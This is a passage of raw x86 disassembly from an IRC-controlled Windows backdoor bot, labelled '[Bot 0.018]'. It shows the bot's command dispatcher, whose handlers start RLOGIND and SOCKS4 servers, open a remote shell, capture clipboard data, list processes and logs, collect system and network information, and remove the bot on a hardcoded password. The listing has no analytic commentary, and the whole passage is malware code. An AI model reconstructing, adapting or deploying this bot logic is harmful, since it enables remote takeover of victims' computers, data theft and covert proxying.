		push	eax
		lea	eax, [ebp+var_9D0]
		push	40h
		push	eax
		call	sub_412E0D
		mov	ebx, [ebp+ebx+var_98]
		add	esp, 0Ch
		cmp	ebx, edi
		jnz	short loc_40B944
		mov	ebx, 41FA76h


loc_40B944:				; CODE XREF: sub_4078FA+4043j
		push	ebx
		lea	eax, [ebp+var_990]
		push	100h
		push	eax
		call	sub_412E0D
		push	[ebp+var_9C]
		lea	eax, [ebp+var_A50]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+var_C]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_87C], eax
		lea	eax, [ebp+var_9D0]
		push	eax
		push	[ebp+var_890]
		mov	[ebp+var_A54], esi
		push	esi
		mov	[ebp+var_880], ebx
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	7
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_88C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_A54]
		push	eax
		push	offset sub_40E219
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_88C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40BA11
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...
		jmp	loc_40A005
; ---------------------------------------------------------------------------


loc_40BA09:				; CODE XREF: sub_4078FA+411Dj
		push	32h
		call	ds:dword_41F000


loc_40BA11:				; CODE XREF: sub_4078FA+40FCj
		cmp	[ebp+var_878], edi
		jz	short loc_40BA09
		jmp	loc_40A014
; ---------------------------------------------------------------------------


loc_40BA1E:				; CODE XREF: sub_4078FA+17B8j
					; sub_4078FA+17CCj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40BA31
		push	ebx
		call	sub_412F42
		jmp	short loc_40BA38
; ---------------------------------------------------------------------------


loc_40BA31:				; CODE XREF: sub_4078FA+412Dj
		push	9
		call	sub_4110F9


loc_40BA38:				; CODE XREF: sub_4078FA+4135j
		test	eax, eax
		pop	ecx
		jz	loc_40CFE2
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4010CA
		jmp	loc_40BF27
; ---------------------------------------------------------------------------


loc_40BA58:				; CODE XREF: sub_4078FA+1790j
					; sub_4078FA+17A4j
		mov	eax, dword_433584
		test	eax, eax
		jz	short loc_40BA7B
		call	eax
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_40BA74
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BA74:				; CODE XREF: sub_4078FA+4171j
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BA7B:				; CODE XREF: sub_4078FA+4165j
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		lea	eax, [ebp+var_2E0]
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BA88:				; CODE XREF: sub_4078FA+1768j
					; sub_4078FA+177Cj
		call	sub_406B55
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_40BAAC
		push	offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache	flushed."


loc_40BA9C:				; CODE XREF: sub_4078FA+4178j
					; sub_4078FA+417Fj ...
		push	200h
		push	eax
		call	sub_412E0D
		jmp	loc_40C3B3
; ---------------------------------------------------------------------------


loc_40BAAC:				; CODE XREF: sub_4078FA+419Bj
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."
		jmp	short loc_40BA9C
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_4078FA+1740j
					; sub_4078FA+1754j
		cmp	[ebp+var_C], 0
		jnz	short loc_40BAD4
		push	0
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40BAD4:				; CODE XREF: sub_4078FA+41BDj
		push	0
		push	[ebp+var_4]
		call	sub_405792
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
		jmp	loc_40BDF0
; ---------------------------------------------------------------------------


loc_40BAF7:				; CODE XREF: sub_4078FA+13B1j
					; sub_4078FA+13C5j
		push	8
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_40BB0D
		push	offset aCmdRemoteShell ; "[CMD]: Remote	shell already running."
		jmp	loc_40B1A8
; ---------------------------------------------------------------------------


loc_40BB0D:				; CODE XREF: sub_4078FA+4207j
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_40DDC6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jnz	short loc_40BB2C
		push	offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
		jmp	loc_40B1A8
; ---------------------------------------------------------------------------


loc_40BB2C:				; CODE XREF: sub_4078FA+4226j
		push	offset aCmdRemoteShe_0 ; "[CMD]: Remote	shell ready."
		jmp	loc_40B1A8
; ---------------------------------------------------------------------------


loc_40BB36:				; CODE XREF: sub_4078FA+1389j
					; sub_4078FA+139Dj
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405277
		jmp	loc_40BE11
; ---------------------------------------------------------------------------


loc_40BB4F:				; CODE XREF: sub_4078FA+1361j
					; sub_4078FA+1375j
		push	[ebp+ebx+var_A0]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_402717
		jmp	loc_40BE11
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_4078FA+1339j
					; sub_4078FA+134Dj
		or	esi, 0FFFFFFFFh
		call	ds:dword_41F004
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		mov	edi, eax
		jz	short loc_40BB94
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	esi, eax


loc_40BB94:				; CODE XREF: sub_4078FA+428Fj
		xor	edx, edx
		mov	eax, edi
		mov	ecx, 15180h
		div	ecx
		cmp	eax, esi
		jnb	short loc_40BBAC
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40CFE2


loc_40BBAC:				; CODE XREF: sub_4078FA+42A7j
		push	0
		call	sub_40FD16
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUptimeS_ ; "[MAIN]:	Uptime:	%s."
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33


loc_40BBEB:				; CODE XREF: sub_4078FA+2412j
		add	esp, 28h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40BBF3:				; CODE XREF: sub_4078FA+1311j
					; sub_4078FA+1325j
		push	1Fh
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_40BC29
		cmp	[ebp+var_C], 0
		jnz	loc_407B7B
		push	0
		push	[ebp+var_4]
		push	offset aProcAlreadyRun ; "[PROC]: Already running."


loc_40BC13:				; CODE XREF: sub_4078FA+1F21j
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40BC29:				; CODE XREF: sub_4078FA+4303j
		push	[ebp+var_9C]
		lea	eax, [ebp+var_440]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A0]
		and	[ebp+var_3BC], 0
		mov	[ebp+var_444], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3B8], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_3B4], eax
		jz	short loc_40BC8A
		push	5
		mov	edi, ebx
		mov	esi, offset aFull ; "full"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40BC8A
		mov	[ebp+var_3BC], 1


loc_40BC8A:				; CODE XREF: sub_4078FA+4374j
					; sub_4078FA+4384j
		lea	eax, [ebp+var_2E0]
		push	offset aProcsProccessL ; "[PROCS]: Proccess list."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	1Fh
		push	eax
		call	sub_410EEA
		add	esp, 14h
		mov	[ebp+var_3C0], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_444]
		push	eax
		push	offset sub_4073FB
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_3C0]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40BD0C
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40ABEA
; ---------------------------------------------------------------------------


loc_40BD04:				; CODE XREF: sub_4078FA+4418j
		push	32h
		call	ds:dword_41F000


loc_40BD0C:				; CODE XREF: sub_4078FA+43E8j
		cmp	[ebp+var_3B0], esi
		jz	short loc_40BD04
		jmp	loc_40ABEA
; ---------------------------------------------------------------------------


loc_40BD19:				; CODE XREF: sub_4078FA+12E9j
					; sub_4078FA+12FDj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	loc_407B7B
		mov	esi, ebx
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40BD2F:				; CODE XREF: sub_4078FA+4451j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_40BD51
		test	cl, cl
		jz	short loc_40BD4D
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_40BD51
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40BD2F


loc_40BD4D:				; CODE XREF: sub_4078FA+443Fj
		xor	eax, eax
		jmp	short loc_40BD56
; ---------------------------------------------------------------------------


loc_40BD51:				; CODE XREF: sub_4078FA+443Bj
					; sub_4078FA+4449j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40BD56:				; CODE XREF: sub_4078FA+4455j
		test	eax, eax
		jnz	loc_407B7B
		cmp	[ebp+var_C], eax
		jnz	short loc_40BD7D
		push	eax
		push	[ebp+var_4]
		push	offset aMainRemovingBo ; "[MAIN]: Removing Bot."
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40BD7D:				; CODE XREF: sub_4078FA+4467j
		push	[ebp+arg_4]
		call	dword_4335AC
		call	dword_4335B8
		call	sub_405915
		jmp	loc_40C4C6
; ---------------------------------------------------------------------------


loc_40BD96:				; CODE XREF: sub_4078FA+12C1j
					; sub_4078FA+12D5j
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	[ebp+arg_4]
		push	eax
		call	sub_40FE1F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	offset aMainSystemInfo ; "[MAIN]: System Info."
		jmp	short loc_40BDF0
; ---------------------------------------------------------------------------


loc_40BDC2:				; CODE XREF: sub_4078FA+1299j
					; sub_4078FA+12ADj
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_410086
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	offset aMainNetworkInf ; "[MAIN]: Network Info."


loc_40BDF0:				; CODE XREF: sub_4078FA+41F8j
					; sub_4078FA+44C6j
		call	sub_401C33


loc_40BDF5:				; CODE XREF: sub_4078FA+3006j
		add	esp, 18h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_4078FA+1271j
					; sub_4078FA+1285j
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401CD3


loc_40BE11:				; CODE XREF: sub_4078FA+1E2j
					; sub_4078FA+4250j ...
		add	esp, 10h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_4078FA+1249j
					; sub_4078FA+125Dj
		and	[ebp+var_B00], 0
		cmp	[ebp+var_14], 0
		jz	short loc_40BE5A
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40BE5A
		push	ebx
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40BE5A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_B00]
		push	80h
		push	eax
		call	sub_412E0D
		add	esp, 10h


loc_40BE5A:				; CODE XREF: sub_4078FA+452Aj
					; sub_4078FA+4535j ...
		push	[ebp+var_9C]
		lea	eax, [ebp+var_B80]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_B84], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A7C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_A78], eax
		lea	eax, [ebp+var_2E0]
		push	offset aLogListingLog_ ; "[LOG]: Listing log."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	1Dh
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_A80], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_B84]
		push	eax
		push	offset sub_401D45
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_A80]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40BEFF
		call	ds:dword_41F008
		push	eax
		push	offset aLogFailedToSta ; "[LOG]: Failed	to start listing thread, "...
		jmp	loc_40D19B
; ---------------------------------------------------------------------------


loc_40BEF7:				; CODE XREF: sub_4078FA+460Bj
		push	32h
		call	ds:dword_41F000


loc_40BEFF:				; CODE XREF: sub_4078FA+45EAj
		cmp	[ebp+var_A74], esi
		jz	short loc_40BEF7
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40BF0C:				; CODE XREF: sub_4078FA+1221j
					; sub_4078FA+1235j
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401BBB
		push	offset aMainAliasList_ ; "[MAIN]: Alias	list."
		call	sub_401C33


loc_40BF27:				; CODE XREF: sub_4078FA+4159j
		add	esp, 10h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40BF2F:				; CODE XREF: sub_4078FA+11F9j
					; sub_4078FA+120Dj
		push	[ebp+var_9C]
		lea	eax, [ebp+var_374]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A0]
		mov	[ebp+var_378], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_2E8], eax
		jz	short loc_40BF88
		push	4
		xor	eax, eax
		mov	edi, offset aSub ; "sub"
		mov	esi, ebx
		pop	ecx
		repe cmpsb
		setz	al
		mov	[ebp+var_2F0], eax
		jmp	short loc_40BF8F
; ---------------------------------------------------------------------------


loc_40BF88:				; CODE XREF: sub_4078FA+4673j
		and	[ebp+var_2F0], 0


loc_40BF8F:				; CODE XREF: sub_4078FA+468Cj
		lea	eax, [ebp+var_2E0]
		push	offset aThreadsListThr ; "[THREADS]: List threads."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	20h
		push	eax
		call	sub_410EEA
		add	esp, 14h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_378]
		push	eax
		push	offset sub_4111EB
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C011
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C009:				; CODE XREF: sub_4078FA+471Dj
		push	32h
		call	ds:dword_41F000


loc_40C011:				; CODE XREF: sub_4078FA+46EDj
		cmp	[ebp+var_2E4], esi
		jz	short loc_40C009
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C01E:				; CODE XREF: sub_4078FA+117Fj
					; sub_4078FA+1193j
		push	offset aBot018	; "Bot018"
		lea	eax, [ebp+var_2E0]
		push	offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 20h
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C056:				; CODE XREF: sub_4078FA+1157j
					; sub_4078FA+116Bj
		push	dword_479BB0
		call	sub_40FD16
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 24h
		jmp	loc_409015
; ---------------------------------------------------------------------------


loc_40C095:				; CODE XREF: sub_4078FA+112Fj
					; sub_4078FA+1143j
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40C0C8
		cmp	[ebp+var_14], 0
		jz	short loc_40C0D7
		push	ebx
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40C0D7
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		add	esp, 0Ch
		jmp	short loc_40C0D7
; ---------------------------------------------------------------------------


loc_40C0C8:				; CODE XREF: sub_4078FA+47A4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		pop	ecx
		pop	ecx


loc_40C0D7:				; CODE XREF: sub_4078FA+47AAj
					; sub_4078FA+47B9j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40C0DF:				; CODE XREF: sub_4078FA+1107j
					; sub_4078FA+111Bj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aMainDisconnect ; "[MAIN]: Disconnecting."
		call	sub_401C33
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40C101:				; CODE XREF: sub_4078FA+10DFj
					; sub_4078FA+10F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aMainReconnecti ; "[MAIN]: Reconnecting."
		call	sub_401C33
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40C122:				; CODE XREF: sub_4078FA+10B7j
					; sub_4078FA+10CBj
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401000


loc_40C133:				; CODE XREF: sub_4078FA+2F6Dj
		add	esp, 0Ch
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40C13B:				; CODE XREF: sub_4078FA+1017j
					; sub_4078FA+102Bj
		push	[ebp+ebx+var_A0]
		push	1Fh
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "[PROC]"


loc_40C14E:				; CODE XREF: sub_4078FA+E54j
					; sub_4078FA+E7Cj ...
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_411120
		add	esp, 20h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40C16A:				; CODE XREF: sub_4078FA+E17j
					; sub_4078FA+E2Bj
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40C189
		push	esi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jz	short loc_40C189
		push	esi
		call	sub_412F42
		pop	ecx
		jmp	short loc_40C18E
; ---------------------------------------------------------------------------


loc_40C189:				; CODE XREF: sub_4078FA+4879j
					; sub_4078FA+4884j
		mov	eax, dword_42AE40


loc_40C18E:				; CODE XREF: sub_4078FA+488Dj
		mov	ebx, [ebp+ebx+var_9C]
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_2FC], eax
		jz	short loc_40C1B5
		push	ebx


loc_40C1A2:				; CODE XREF: sub_4078FA+48CBj
		lea	eax, [ebp+var_30C]
		push	10h
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40C1CE
; ---------------------------------------------------------------------------


loc_40C1B5:				; CODE XREF: sub_4078FA+48A5j
		cmp	[ebp+var_44B], 0
		jz	short loc_40C1C7
		lea	eax, [ebp+var_E0]
		push	eax
		jmp	short loc_40C1A2
; ---------------------------------------------------------------------------


loc_40C1C7:				; CODE XREF: sub_4078FA+48C2j
		and	[ebp+var_30C], 0


loc_40C1CE:				; CODE XREF: sub_4078FA+48B9j
		mov	eax, [ebp+var_4]
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_38C]
		push	80h
		push	eax
		mov	[ebp+var_390], esi
		call	sub_412E0D
		add	esp, 0Ch
		push	[ebp+var_2FC]
		push	esi
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	12h
		push	eax
		call	sub_410EEA
		add	esp, 1Ch
		mov	[ebp+var_2F8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_390]
		push	eax
		push	offset sub_40FB2A
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_2F8]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C282
		call	ds:dword_41F008
		push	eax
		push	offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
		jmp	loc_40D19B
; ---------------------------------------------------------------------------


loc_40C27A:				; CODE XREF: sub_4078FA+498Ej
		push	32h
		call	ds:dword_41F000


loc_40C282:				; CODE XREF: sub_4078FA+496Dj
		cmp	[ebp+var_2E8], edi
		jz	short loc_40C27A
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40C28F:				; CODE XREF: sub_4078FA+DC7j
					; sub_4078FA+DDBj ...
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_40C2B7
		mov	edi, eax
		push	4
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C2B7
		and	[ebp+var_3BC], eax
		jmp	short loc_40C2C1
; ---------------------------------------------------------------------------


loc_40C2B7:				; CODE XREF: sub_4078FA+49A3j
					; sub_4078FA+49B3j
		mov	[ebp+var_3BC], 1


loc_40C2C1:				; CODE XREF: sub_4078FA+49BBj
		push	[ebp+var_9C]
		lea	eax, [ebp+var_440]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_444], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3B8], eax
		mov	eax, [ebp+var_C]
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_3BC], esi
		mov	[ebp+var_3B4], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40C30A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40C30A:				; CODE XREF: sub_4078FA+4A09j
		push	eax
		push	offset aSecureSSystem_ ; "[SECURE]: %s system."
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		push	esi
		lea	eax, [ebp+var_2E0]
		push	1Ah
		push	eax
		call	sub_410EEA
		add	esp, 1Ch
		mov	[ebp+var_3C0], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_444]
		push	eax
		push	offset sub_40F023
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_3C0]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C390
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_40C388:				; CODE XREF: sub_4078FA+4A9Cj
		push	32h
		call	ds:dword_41F000


loc_40C390:				; CODE XREF: sub_4078FA+4A6Cj
		cmp	[ebp+var_3B0], esi
		jz	short loc_40C388
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_40C39D:				; CODE XREF: sub_4078FA+D9Fj
					; sub_4078FA+DB3j
		push	offset aBot0_018 ; "[Bot 0.018]"
		lea	eax, [ebp+var_2E0]
		push	offset aMainS	; "[MAIN]: %s"
		push	eax
		call	sub_412BB5


loc_40C3B3:				; CODE XREF: sub_4078FA+41ADj
		add	esp, 0Ch
		jmp	loc_40AEAA
; ---------------------------------------------------------------------------


loc_40C3BB:				; CODE XREF: sub_4078FA+D77j
					; sub_4078FA+D8Bj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40C413
		push	ebx
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jl	short loc_40C40B
		cmp	eax, 2
		jge	short loc_40C40B
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	byte ptr [esi],	0
		jz	short loc_40C403
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		and	byte ptr [esi],	0
		jmp	short loc_40C47E
; ---------------------------------------------------------------------------


loc_40C403:				; CODE XREF: sub_4078FA+4AEAj
		push	eax
		push	offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
		jmp	short loc_40C46F
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_4078FA+4AD5j
					; sub_4078FA+4ADAj
		push	eax
		push	offset aMainInvalidLog ; "[MAIN]: Invalid login	slot number: %d."
		jmp	short loc_40C46F
; ---------------------------------------------------------------------------


loc_40C413:				; CODE XREF: sub_4078FA+4ACAj
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_40C418:				; CODE XREF: sub_4078FA+4B5Bj
		mov	esi, [ebp+var_A4]
		mov	eax, edx


loc_40C420:				; CODE XREF: sub_4078FA+4B42j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40C442
		test	cl, cl
		jz	short loc_40C43E
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40C442
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40C420


loc_40C43E:				; CODE XREF: sub_4078FA+4B30j
		xor	eax, eax
		jmp	short loc_40C447
; ---------------------------------------------------------------------------


loc_40C442:				; CODE XREF: sub_4078FA+4B2Cj
					; sub_4078FA+4B3Aj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40C447:				; CODE XREF: sub_4078FA+4B46j
		test	eax, eax
		jz	short loc_40C459
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_40C418
		jmp	short loc_40C47E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_4078FA+4B4Fj
		mov	eax, [ebp+arg_18]
		shl	edi, 7
		and	byte ptr [edi+eax], 0
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."


loc_40C46F:				; CODE XREF: sub_4078FA+3780j
					; sub_4078FA+4B0Fj ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


